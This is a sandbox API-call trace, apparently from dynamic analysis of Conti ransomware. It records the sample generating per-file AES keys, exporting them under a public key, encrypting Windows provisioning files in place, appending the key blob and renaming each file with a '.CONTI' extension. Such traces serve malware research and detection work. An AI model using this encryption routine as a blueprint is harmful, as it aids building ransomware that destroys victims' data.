	[0107.823] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.834] GetProcessHeap () returned 0x1720000
	[0107.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.834] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.834] GetProcessHeap () returned 0x1720000
	[0107.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8648 | out: hHeap=0x1720000) returned 1
	[0107.834] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.834] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c8330) returned 1
	[0107.834] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x5affca4 | out: pbData=0x17d2d6c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.835] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.835] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.835] GetLastError () returned 0x0
	[0107.835] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=720) returned 1
	[0107.835] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0107.835] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.835] SetEndOfFile (hFile=0x398) returned 1
	[0107.836] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.836] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.836] WriteFile (in: hFile=0x398, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.837] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.837] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.837] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0107.837] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.838] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.838] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.838] WriteFile (in: hFile=0x398, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.838] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.838] CloseHandle (hObject=0x398) returned 1
	[0107.838] GetProcessHeap () returned 0x1720000
	[0107.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.838] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.838] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.838] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.839] GetProcessHeap () returned 0x1720000
	[0107.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.839] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.839] GetProcessHeap () returned 0x1720000
	[0107.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0e60 | out: hHeap=0x1720000) returned 1
	[0107.839] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.839] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c8330) returned 1
	[0107.839] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x5affca4 | out: pbData=0x17d3b1c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.840] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.840] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.840] GetLastError () returned 0x0
	[0107.840] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=644) returned 1
	[0107.840] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x284
	[0107.840] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.840] SetEndOfFile (hFile=0x398) returned 1
	[0107.841] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.841] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.841] WriteFile (in: hFile=0x398, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.843] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.843] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x284, lpOverlapped=0x0) returned 1
	[0107.843] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x284, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x290) returned 1
	[0107.843] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.843] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x290, lpOverlapped=0x0) returned 1
	[0107.843] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.843] WriteFile (in: hFile=0x398, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.843] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.843] CloseHandle (hObject=0x398) returned 1
	[0107.843] GetProcessHeap () returned 0x1720000
	[0107.843] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.843] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.843] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.843] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.844] GetProcessHeap () returned 0x1720000
	[0107.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.844] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.844] GetProcessHeap () returned 0x1720000
	[0107.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca488 | out: hHeap=0x1720000) returned 1
	[0107.844] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.844] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c8330) returned 1
	[0107.844] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x5affca4 | out: pbData=0x17d2b24*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.845] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.845] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.845] GetLastError () returned 0x0
	[0107.845] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=722) returned 1
	[0107.846] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0107.846] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.846] SetEndOfFile (hFile=0x398) returned 1
	[0107.846] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.846] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.846] WriteFile (in: hFile=0x398, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.848] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.848] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d2, lpOverlapped=0x0) returned 1
	[0107.848] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d2, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0107.848] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.848] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.848] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.848] WriteFile (in: hFile=0x398, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.848] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.848] CloseHandle (hObject=0x398) returned 1
	[0107.849] GetProcessHeap () returned 0x1720000
	[0107.849] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.849] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml"
	[0107.849] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.849] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.850] GetProcessHeap () returned 0x1720000
	[0107.850] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.850] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.850] GetProcessHeap () returned 0x1720000
	[0107.850] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0fb8 | out: hHeap=0x1720000) returned 1
	[0107.850] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.850] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c8330) returned 1
	[0107.850] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x5affca4 | out: pbData=0x17d5b0c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.851] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml")) returned 0x20
	[0107.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.851] GetLastError () returned 0x0
	[0107.851] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=719) returned 1
	[0107.851] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0107.851] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.851] SetEndOfFile (hFile=0x398) returned 1
	[0107.851] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.851] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.851] WriteFile (in: hFile=0x398, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.854] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.854] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2cf, lpOverlapped=0x0) returned 1
	[0107.854] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2cf, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0) returned 1
